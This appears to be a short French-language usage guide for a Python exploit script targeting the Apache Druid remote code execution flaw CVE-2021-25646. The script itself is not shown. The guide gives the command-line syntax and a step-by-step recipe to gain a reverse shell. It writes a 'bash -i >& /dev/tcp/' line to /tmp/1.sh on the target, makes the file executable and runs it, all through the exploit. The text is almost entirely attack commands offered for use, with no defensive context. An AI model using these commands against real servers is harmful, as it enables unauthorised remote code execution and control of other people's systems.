
Exploit Python pour l'exécution de code à distance Apache Druid (CVE-2021-25646) avec capacités de shell inverse et d'exécution de commandes.
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
Shell inversé comme suit :
Écrire le script du shell inversé
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
Attribuer les droits d'exécution au script shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
Exécuter le shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"